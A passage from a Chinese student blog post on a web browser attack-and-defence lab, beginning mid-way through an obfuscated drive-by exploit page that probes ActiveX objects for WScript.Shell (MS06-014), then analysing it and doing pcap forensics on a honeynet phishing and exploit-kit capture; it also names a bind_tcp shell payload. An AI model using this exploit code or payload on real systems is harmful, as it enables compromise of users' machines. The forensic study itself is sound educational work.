                + 'C' + '0' + 'A' + 'E' + '3' + 'D' + '}' , '{' + '6' + 'e' + '3' + '2'
                + '0' + '7' + '0' + 'a' + '-' + '7' + '6' + '6' + 'd' + '-' + '4' + 'e'
                + 'e' + '6' + '-' + '8' + '7' + '9' + 'c' + '-' + 'd' + 'c' + '1' + 'f'
                + 'a' + '9' + '1' + 'd' + '2' + 'f' + 'c' + '3' + '}' , '{' + '6' + '4'
                + '1' + '4' + '5' + '1' + '2' + 'B' + '-' + 'B' + '9' + '7' + '8' + '-'
                + '4' + '5' + '1' + 'D' + '-' + 'A' + '0' + 'D' + '8' + '-' + 'F' + 'C'
                + 'F' + 'D' + 'F' + '3' + '3' + 'E' + '8' + '3' + '3' + 'C' + '}' , '{'
                + '0' + '6' + '7' + '2' + '3' + 'E' + '0' + '9' + '-' + 'F' + '4' + 'C'
                + '2' + '-' + '4' + '3' + 'c' + '8' + '-' + '8' + '3' + '5' + '8' + '-'
                + '0' + '9' + 'F' + 'C' + 'D' + '1' + 'D' + 'B' + '0' + '7' + '6' + '6'
                + '}' , '{' + '6' + '3' + '9' + 'F' + '7' + '2' + '5' + 'F' + '-' + '1'
                + 'B' + '2' + 'D' + '-' + '4' + '8' + '3' + '1' + '-' + 'A' + '9' + 'F'
                + 'D' + '-' + '8' + '7' + '4' + '8' + '4' + '7' + '6' + '8' + '2' + '0'
                + '1' + '0' + '}' , '{' + 'B' + 'A' + '0' + '1' + '8' + '5' + '9' + '9'
                + '-' + '1' + 'D' + 'B' + '3' + '-' + '4' + '4' + 'f' + '9' + '-' + '8'
                + '3' + 'B' + '4' + '-' + '4' + '6' + '1' + '4' + '5' + '4' + 'C' + '8'
                + '4' + 'B' + 'F' + '8' + '}' , '{' + 'D' + '0' + 'C' + '0' + '7' + 'D'
                + '5' + '6' + '-' + '7' + 'C' + '6' + '9' + '-' + '4' + '3' + 'F' + '1'
                + '-' + 'B' + '4' + 'A' + '0' + '-' + '2' + '5' + 'F' + '5' + 'A' + '1'
                + '1' + 'F' + 'A' + 'B' + '1' + '9' + '}' , '{' + 'E' + '8' + 'C' + 'C'
                + 'C' + 'D' + 'D' + 'F' + '-' + 'C' + 'A' + '2' + '8' + '-' + '4' + '9'
                + '6' + 'b' + '-' + 'B' + '0' + '5' + '0' + '-' + '6' + 'C' + '0' + '7'
                + 'C' + '9' + '6' + '2' + '4' + '7' + '6' + 'B' + '}' , '{' + 'A' + 'B'
                + '9' + 'B' + 'C' + 'E' + 'D' + 'D' + '-' + 'E' + 'C' + '7' + 'E' + '-'
                + '4' + '7' + 'E' + '1' + '-' + '9' + '3' + '2' + '2' + '-' + 'D' + '4'
                + 'A' + '2' + '1' + '0' + '6' + '1' + '7' + '1' + '1' + '6' + '}' , '{'
                + '0' + '0' + '0' + '6' + 'F' + '0' + '3' + '3' + '-' + '0' + '0' + '0'
                + '0'+ '-' + '0' + '0' + '0' + '0' + '-' + 'C' + '0' + '0' + '0' + '-'
                + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '4' + '6'
                + '}' , '{' + '0' + '0' + '0' + '6' + 'F' + '0' + '3' + 'A' + '-' + '0'
                + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '-' + 'C' + '0' + '0'
                + '0' + '-' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0'
                + '4' + '6' + '}' , null ); while (t[i]) { var a = null; if (t[i].substring(0,1)
                == '{') { a = document.createElement("object"); a.setAttribute("cl" + "as"
                + "sid", "cl" + "s" + "id" +":" + t[i].substring( 1, t[i].length - 1 )
                ) ; } else { try { a = new ActiveXObject(t[i]); } catch(e){} } if (a) {
                try { var b = oKJDdBQrZfhhHtuwIIqpxLLmAqmE( a , "W" + "Sc" + "ri" + "pt"
                + ".S" + "he" + "ll" ) ; if (b) { qwpZKQSRmTheTIknPlv( a ) ; return(0)
                ; } } catch(e){ } } i++; } }
                </SCRIPT>
                <METAcontent="MSHTML5.00.2920.0" name=GENERATOR>
    </HEAD>
    <BODYonload=nnPiNsOYORfiRQIWiaObcEcwFOy()>
        OUQjTCTuRRdhoMFiwRwmgEu
        </BODY>

</HTML>

分析代码,发现该代码主要有三个函数oKJDdBQrZfhhHtuwIIqpxLLmAqmEqwpZKQSRmTheTIknPlvnnPiNsOYORfiRQIWiaObcEcwFOy

第一个函数的实现可以看到主要是使用方法CreateObject()&GetObject()获取字符

第二个函数有一些熟悉的关于网页的关键词,Shell、payload、XMLHTTP、ServerXMLHTTP并且从代码的实现可以看到这是对网页的操作

最后一个函数中设置了很多数组,经查看到BD96C556这个字符串就是漏洞MS06-014;

从上述的三个函数和函数的实现可以大致猜测出这个挂马网页的执行流程:首先执行CreateObject()和GetObject()获取字符,猜测是用户名和密码关键字;然后是对网页进行操作即开始部署钓鱼网站;最后使用漏洞MS06-014实施攻击;

2.4 Web 浏览器攻击取证分析

使用Wireshark 打开suspicious-time.pcap文件,发现协议有许多类型,主要有HTTP、ICMP、Bootps、Netbios、DNS

接下来利用 chaosreader进行分析

首先下载并安装该工具

git clone https://github.com/brendangregg/Chaosreader.git

读取这个文件:

./chaosreader suspicious-time.pcap

使用下面的命令查询有哪些 IP 地址和域名在进行攻击:

for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort

rapidshare.com.eyu32.ru伪造了一个众所周知的网站,攻击者可以用来进行网上钓鱼,分配IP地址为192.168.56.50

sploitme.com.cn这个域名意味着一些恶意的东西,sploitme.com.cn实际上并不存在,因为没有找到DNS条目或记录,分配的IP地址为192.168.56.52

shop.honeynet.sg看起来像一个购物网站,它的IP是192.168.56.51

通过tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$10}' | sort -u,可以显示NB开头的协议,也就是NBNS 协议,它是基于NetBIOS名称访问的网络上提供主机名和地址映射方法,也就是提供主机名称,这里可以发现四个主机的主机名都一样

通过tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$10}' | sort -u,可以看到对应IP的用户组都是WORKGROUP

通过tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'得到捕获文件中的所有网页页面

打开地址rapidshare.com.eyu32.ru/login.php对应的页面,看到是一个登录页面,推测是一个钓鱼网站

sploitme.com.cn/fg/show.php?s=XXXX对应的页面看似是一个404页面,但其中包含了恶意的js代码

如果用户在不知情的情况下进行注册和登录,个人隐私信息会被传输到sploitme.com.cn/?click=XXXX,再重定向到sploitme.com.cn/fg/show.php?s=XXXX,该链接包含js代码,同时返回用户一个假的的404页面,通过检索程序搜索用户主机漏洞,然后客户机将正常浏览页面,攻击服务器会发送一个新的链接shop.honetnet.sg/catalog/,连接到无害的页面sploitme.com.cn,在用户主机上的恶意软件将访问www.honeynet.org

3.学习中遇到的问题及解决

进行实验一时,攻击不成功

解决方法:尝试使用其他的漏洞进行攻击,但均为攻击成功。后来尝试更换payload为正向连接的paylaodwindows/shell/bind_tcp,最后攻击成功。

4.实践总结

通过这次学习了web浏览器安全攻防,实验内容很多,分析难度也很大,参考了同学博客和教材,依然有许多没能消化吸收。超出了自己的理解范围,感觉不能一蹴而就。

posted @ 2022-05-24 21:51  daolgts  阅读(247)  评论(0编辑  收藏  举报